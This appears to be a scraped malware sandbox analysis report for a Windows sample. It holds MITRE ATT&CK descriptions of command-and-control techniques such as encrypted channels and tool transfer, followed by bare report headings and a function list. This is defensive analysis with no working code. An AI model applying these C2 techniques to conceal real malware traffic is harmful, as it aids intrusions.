Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report q2t57gIiIY

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

Function 01914C7F, Relevance: 6.3, APIs: 4, Instructions: 285
libraryCOMMON

Function 01912D3E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89
synchronizationCOMMON

Function 01914B1E, Relevance: 1.3, Strings: 1, Instructions: 55
COMMON

Function 01914958, Relevance: .1, Instructions: 86
COMMONCrypto

Function 01911AB8, Relevance: .0, Instructions: 7
COMMON

Function 01911AA6, Relevance: .0, Instructions: 6
COMMON